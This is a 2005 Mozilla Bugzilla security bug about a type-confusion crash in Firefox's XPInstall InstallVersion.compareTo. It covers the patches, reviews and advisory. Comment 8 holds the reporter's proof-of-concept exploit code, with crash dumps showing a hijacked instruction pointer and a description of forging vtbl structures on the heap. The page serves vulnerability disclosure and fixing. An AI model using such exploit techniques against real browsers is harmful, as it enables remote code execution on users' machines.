(new InstallVersion()).compareTo(/x/) crashes [@ConvertJSValToObj]

RESOLVED FIXED

Status

Core Graveyard
Installer: XPInstall Engine
--
critical
RESOLVED FIXED
12 years ago
2 years ago

People

(Reporter: shutdown, Assigned: timeless)

Tracking

(4 keywords)

Trunk
x86
Windows XP
crash, fixed-aviary1.0.5, fixed1.7.9, testcase
Bug Flags:
blocking1.7.9 +
blocking-aviary1.0.5 +
blocking1.8b3 +
in-testsuite -

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:fix], crash signature, URL)

Attachments

(1 attachment, 5 obsolete attachments)

(Reporter)

Description

12 years ago
User-Agent:       Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Build Identifier: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050528 Firefox/1.0+ (2005052806)



Reproducible: Always

Steps to Reproduce:
1. navigate the browser to
javascript: (new InstallVersion()).compareTo(/x/);
Actual Results:  
the browser crashes.

Expected Results:  
do not crash and fail softly.

FIREFOX caused an invalid page fault in
module XPINSTAL.DLL at 015f:60056d04.

Comment 1

12 years ago
http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=2&type=iid&id=TB6213056H

Stack Signature	 ConvertJSValToObj 17af286a
Product ID	MozillaTrunk
Build ID	2005052706
Trigger Time	2005-05-29 01:51:03.0
Platform	Win32
Operating System	Windows 98 4.10 build 67766222
Module	XPINSTAL.DLL + (00006c0d)
URL visited	javascript: (new InstallVersion()).compareTo(/x/);
User Comments	Bug 295854 (new InstallVersion()).compareTo(/x/) crashes
Since Last Crash	146 sec
Total Uptime	146 sec
Trigger Reason	Access violation
Source File, Line No.
c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp,
line 308
Stack Trace 	
ConvertJSValToObj 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstall.cpp,
line 308]
InstallVersionCompareTo 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpinstall/src/nsJSInstallVersion.cpp,
line 470]
js_Invoke 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 1182]
js_Interpret 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 3473]
js_Execute 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsinterp.c,
line 1413]
JS_EvaluateUCScriptForPrincipals 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/js/src/jsapi.c, line
3793]
nsJSContext::EvaluateString 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/base/nsJSEnvironment.cpp,
line 1037]
nsJSThunk::EvaluateScript 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 255]
nsJSChannel::InternalOpen 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 508]
nsJSChannel::AsyncOpen 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/dom/src/jsurl/nsJSProtocolHandler.cpp,
line 480]
nsURILoader::OpenURI 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/uriloader/base/nsURILoader.cpp,
line 878]
nsDocShell::DoChannelLoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6580]
nsDocShell::DoURILoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6438]
nsDocShell::InternalLoad 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsDocShell.cpp,
line 6205]
nsWebShell::OnLinkClickSync 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp,
line 552]
OnLinkClickEvent::HandleEvent 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/docshell/base/nsWebShell.cpp,
line 348]
PL_HandleEvent 
[c:/builds/tinderbox/MozillaTrunk/WINNT_5.0_Clobber/mozilla/xpcom/threads/plevent.c,
line 699]
0x778b0c24
Severity: normal → critical
Summary: (new InstallVersion()).compareTo(/x/) crashes → (new InstallVersion()).compareTo(/x/) crashes [@ConvertJSValToObj]
Whiteboard: testcase crash

Comment 2

12 years ago
TB6213255E for me

Comment 3

12 years ago
5 Talkbacks Trunk and Branch:
http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=1&searchby=comments&match=contains&searchfor=295854&vendor=All&product=All&platform=All&buildid=&sdate=&stime=&edate=&etime=&sortby=bbid

crash also seen before fixing of Bug 290162 crash in InstallTrigger.install.call
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: crash, testcase
Whiteboard: testcase crash
(Assignee)

Comment 4

12 years ago
dougt: cvs blame blames you
812 #define JSCLASS_HAS_PRIVATE             (1<<0)  /* objects have private slot */
813 #define JSCLASS_NEW_ENUMERATE           (1<<1)  /* has JSNewEnumerateOp hook */
814 #define JSCLASS_NEW_RESOLVE             (1<<2)  /* has JSNewResolveOp hook */
815 #define JSCLASS_PRIVATE_IS_NSISUPPORTS  (1<<3)  /* private is (nsISupports *) */

JSCLASS_HAS_PRIVATE does not mean PRIVATE_IS_NSISUPPORTS.
Assignee: xpi-engine → timeless

Comment 5

12 years ago
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/js/src/jsapi.h
(Assignee)

Comment 6

12 years ago
Created attachment 184810 [details] [diff] [review]
use nsisupports marking

dougt: wrong blame.
http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstall.cpp&mark=303-308&rev=1.116#308

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsJSInstallVersion.cpp&mark=458-470&rev=1.23#470


note that i'm backing out some silly changes brendan made with context which
should make it clear *why* i'm backing them out. they aren't strictly related
to this bug, but those code changes introduced poor error reporting for cases
which the code already handled. if someone really cares, they can be split into
another bug.
Attachment #184810 - Flags: superreview?(dveditz)
Attachment #184810 - Flags: review?(dveditz)
(Reporter)

Comment 7

12 years ago
Created attachment 184834 [details]
proof-of-concept exploit

[SECURITY ALERT]

This bug is possibly remotely exploitable if the address of
the heap memory is predictable (depends on OS/libc/etc...).
(Reporter)

Comment 8

12 years ago
function exploitCode() {
  var xxAddress = 0x00400000;
  //
  // struct vtbl { void (*code)(void); };
  // struct data { struct vtbl *pvtbl; };
  //
  // struct data *pdata = (struct data *)(xxAddress & ~0x01);
  // pdata->pvtbl->code(pdata);
  //
  (new InstallVersion).compareTo(new Number(xxAddress >> 1));
}

-----

On my machine (Firefox 1.0.4/Win98):

// struct data *pdata = (struct data *)(xxAddress & ~0x01);
dwords@0x00400000 = { 0x00905a4d, 0x00000003, 0x00000004, 0x0000ffff };
// struct vtbl *pvtbl = pdata->vtbl;
dwords@0x00905a4d = { 0xfdfffdff, 0xfd2822ff, 0xfdfffdff, 0xfdfffdff };

FIREFOX caused an invalid page fault in
module <unknown> at 0000:fdfffdff.
Registers:
EAX=00400000 CS=015f EIP=fdfffdff EFLGS=00010246
EBX=00000000 SS=0167 ESP=00c9e968 EBP=00c9ea80
ECX=00905a4d DS=0167 ESI=01788c18 FS=570f
EDX=600bd628 ES=0167 EDI=0288c900 GS=0000
Bytes at CS:EIP:

Stack dump:
60047112 00400000 6005c914 00c9eb60 02a3cef4 018fd1e4 00c9e9b4 60095104
0288c900 017c4a70 600b3574 00cccf32 00000000 00000000 00000004 00000000

-----

The attacker can construct fake data/vtbl structures on the heap and
its address can be given to the buggy code using JavaScript Number
object (only when he/she can predict the address of the fake data).
Flags: blocking1.8b3+
Flags: blocking1.7.9+
Flags: blocking-aviary1.0.5+
Whiteboard: [sg:fix]
(Assignee)

Updated

12 years ago
Group: security
Status: NEW → ASSIGNED
Nominating for bug bounty
Blocks: 256195

Updated

12 years ago
Whiteboard: [sg:fix] → [sg:fix] have patch- - needs review
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

This patch was given r- over IRC, the main bit of the patch should use
JS_InstanceOf() and only try to convert an object of the expected type.
Attachment #184810 - Flags: superreview?(dveditz)
Attachment #184810 - Flags: review?(dveditz)
Attachment #184810 - Flags: review-
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

This patch was given r- over IRC, the main bit of the patch should use
JS_InstanceOf() and only try to convert an object of the expected type.
Comment on attachment 184810 [details] [diff] [review]
use nsisupports marking

>      //   public int AddDirectory(String version);  --OR--  VersionInfo version
> 
>     if(JSVAL_IS_OBJECT(argv[0]))

What I was getting at was change the above to

      if (JSVAL_IS_OBJECT(argv[0]) && 
	  JS_InstanceOf(cx, JSVAL_TO_OBJECT(argv[0]), &InstallVersionClass,
nsnull))

If you like you could instead change the ConvertJSValToObj() function to take
the JSClass structure instead of the string typename and do the instance check
in the converter. You'd get the string for the error messages from the JSClass
struct. If anyone else were calling that function that's what I'd want you to
do, but nsJSInstallVersion is the only consumer.

Comment 13

12 years ago
Timeless:  Please take a look and see if you can get a new patch reviewed soon.
 Thanks.
(Assignee)

Comment 14

12 years ago
Created attachment 186432 [details] [diff] [review]
use JS_InstanceOf
Attachment #184810 - Attachment is obsolete: true
Attachment #186432 - Flags: superreview?(dveditz)
Attachment #186432 - Flags: review?(dveditz)
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

r/sr=dveditz
a=dveditz for branch landing
Attachment #186432 - Flags: superreview?(dveditz)
Attachment #186432 - Flags: superreview+
Attachment #186432 - Flags: review?(dveditz)
Attachment #186432 - Flags: review+
Attachment #186432 - Flags: approval1.7.9+
Attachment #186432 - Flags: approval-aviary1.0.5+
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

r/sr=dveditz
a=dveditz for branch landing
Attachment #186432 - Flags: approval1.7.9+
Attachment #186432 - Flags: approval-aviary1.0.5+
Attachment #186432 - Flags: approval1.7.9+
Attachment #186432 - Flags: approval-aviary1.0.5+
Sorry for the double-submit, bugzilla returned a 500 error so I thought the
first didn't go through.
(Reporter)

Comment 18

12 years ago
> (In reply to comment #14)
> Created an attachment (id=186432) [edit]
> use JS_InstanceOf

InstallVersionClass also needs JSCLASS_PRIVATE_IS_NSISUPPORTS flag.
http://lxr.mozilla.org/seamonkey/source/xpinstall/src/nsJSInstallVersion.cpp#74

There are some unused prototype declarations of ConvertJSValToObj().
These declarations should be updated or removed to prevent confusion.
http://lxr.mozilla.org/seamonkey/ident?i=ConvertJSValToObj
(Assignee)

Comment 19

12 years ago
Created attachment 186450 [details] [diff] [review]
nsisupports marker
Attachment #186450 - Flags: superreview?(dveditz)
Attachment #186450 - Flags: review?(dveditz)
(Assignee)

Comment 20

12 years ago
Created attachment 186452 [details] [diff] [review]
remove extra definitions

if things ever need the function, the prototype really should be moved to a
header file.
Attachment #186452 - Flags: superreview?(dveditz)
Attachment #186452 - Flags: review?(dveditz)
Attachment #186432 - Flags: approval1.8b3+
Comment on attachment 186452 [details] [diff] [review]
remove extra definitions

r/sr/a=dveditz
Attachment #186452 - Flags: superreview?(dveditz)
Attachment #186452 - Flags: superreview+
Attachment #186452 - Flags: review?(dveditz)
Attachment #186452 - Flags: review+
Attachment #186452 - Flags: approval1.8b3+
Attachment #186452 - Flags: approval1.7.9+
Attachment #186452 - Flags: approval-aviary1.0.5+
Comment on attachment 186450 [details] [diff] [review]
nsisupports marker

r/sr/a=dveditz
Attachment #186450 - Flags: superreview?(dveditz)
Attachment #186450 - Flags: superreview+
Attachment #186450 - Flags: review?(dveditz)
Attachment #186450 - Flags: review+
Attachment #186450 - Flags: approval1.8b3+
Attachment #186450 - Flags: approval1.7.9+
Attachment #186450 - Flags: approval-aviary1.0.5+
Whiteboard: [sg:fix] have patch- - needs review → [sg:fix] need landing
(Assignee)

Comment 23

12 years ago
Comment on attachment 186432 [details] [diff] [review]
use JS_InstanceOf

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.24
mozilla/xpinstall/src/nsJSInstall.cpp	1.117

MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.2
mozilla/xpinstall/src/nsJSInstall.cpp	1.105.16.3

AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.2
mozilla/xpinstall/src/nsJSInstall.cpp	1.105.20.1.2.2
Attachment #186432 - Attachment is obsolete: true
(Assignee)

Comment 24

12 years ago
Comment on attachment 186450 [details] [diff] [review]
nsisupports marker

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.25
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.3
AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.3
Attachment #186450 - Attachment is obsolete: true
(Assignee)

Comment 25

12 years ago
Comment on attachment 186452 [details] [diff] [review]
remove extra definitions

mozilla/xpinstall/src/nsJSWinReg.cpp	1.18
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.13
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.45
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.8
mozilla/xpinstall/src/nsJSFile.cpp	1.38
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSWinReg.cpp	1.15.34.2
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.9.34.3
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.35.2.6
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.5.34.2
mozilla/xpinstall/src/nsJSFile.cpp	1.33.28.3
AVIARY_1_0_1_20050124_BRANCH
mozilla/xpinstall/src/nsJSWinReg.cpp	1.15.48.2
mozilla/xpinstall/src/nsJSWinProfile.cpp	1.9.48.3
mozilla/xpinstall/src/nsJSInstallTriggerGlobal.cpp	1.35.6.4.2.4
mozilla/xpinstall/src/nsJSFileSpecObj.cpp	1.5.48.2
mozilla/xpinstall/src/nsJSFile.cpp	1.33.42.3
Attachment #186452 - Attachment is obsolete: true
(Assignee)

Updated

12 years ago
Status: ASSIGNED → RESOLVED
Last Resolved: 12 years ago
Keywords: fixed-aviary1.0.5, fixed1.7.9
Resolution: --- → FIXED
Whiteboard: [sg:fix] need landing
(Assignee)

Updated

12 years ago
Whiteboard: [sg:fix]
(Reporter)

Comment 26

12 years ago
javascript: (new InstallVersion()).compareTo(null);
still crashes.
(Assignee)

Comment 27

12 years ago
Created attachment 186542 [details] [diff] [review]
handle null
Attachment #186542 - Flags: superreview?(dveditz)
Attachment #186542 - Flags: review?(dveditz)
(Reporter)

Comment 28

12 years ago
> (In reply to comment #14)
> Created an attachment (id=186432)
> use JS_InstanceOf

| JSClass InstallClass = {
|   "Install",
|-  JSCLASS_HAS_PRIVATE,
|+  JSCLASS_HAS_PRIVATE | JSCLASS_PRIVATE_IS_NSISUPPORTS,
|   JS_PropertyStub,
|   JS_PropertyStub,
|   GetInstallProperty,

I think that this change caused bug 298054.
InstallClass's private data is nsInstall*, which is not
XPCOM object and hence does not expose nsISupports interface.
Such invalid flag confuses nsScriptSecurityManager::doGetObjectPrincipal().
http://lxr.mozilla.org/seamonkey/source/caps/src/nsScriptSecurityManager.cpp#199
6
Comment on attachment 186542 [details] [diff] [review]
handle null

r/sr=dveditz
Attachment #186542 - Flags: superreview?(dveditz)
Attachment #186542 - Flags: superreview+
Attachment #186542 - Flags: review?(dveditz)
Attachment #186542 - Flags: review+
shutdown: mail to you is bouncing, please contact chofmann@mozilla.org

Comment 31

12 years ago
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using proof-of-concept...nothing bad happens.
(Reporter)

Comment 32

12 years ago
javascript: (new InstallVersion()).compareTo(null);
null argument case is not fixed.

Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8b2) Gecko/20050706 Firefox/1.0+
(Assignee)

Updated

12 years ago
Attachment #186542 - Flags: approval1.8b3?
(In reply to comment #32)
> javascript: (new InstallVersion()).compareTo(null);
> null argument case is not fixed.

Thanks for catching this. This leads to a null de-ref crash that should not be
exploitable, but timeless is going to check in the forgotten patch.
Comment on attachment 186542 [details] [diff] [review]
handle null

a=jay for landing on trunk and branches (driver mtg)
Attachment #186542 - Flags: approval1.8b3?
Attachment #186542 - Flags: approval1.8b3+
Attachment #186542 - Flags: approval1.7.9+
Attachment #186542 - Flags: approval-aviary1.0.5+
(Assignee)

Comment 35

12 years ago
Comment on attachment 186542 [details] [diff] [review]
handle null

mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.26
MOZILLA_1_7_BRANCH
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.94.4
AVIARY_1_0_1_20050124_BRANCH 
mozilla/xpinstall/src/nsJSInstallVersion.cpp	1.19.108.4
Attachment #186542 - Attachment is obsolete: true
Adding distributors
Security advisories published
Group: security

Comment 38

12 years ago
Why is the severity in the advisory set to 'Moderate'?
Isn't this vulnerability can be potentially exploited for automatic remote 
code execution?
Are you waiting for an exploit in the wild before you set it to an higher 
severity?

Updated

12 years ago
Group: security

Updated

12 years ago
Group: security

Updated

12 years ago
Flags: testcase+

Updated

10 years ago
Flags: in-testsuite+ → in-testsuite?

Comment 39

8 years ago
in-testsuite-: InstallVersion is no more.
Flags: in-testsuite? → in-testsuite-
Crash Signature: [@ConvertJSValToObj]
Product: Core → Core Graveyard
You need to log in before you can comment on or make changes to this bug.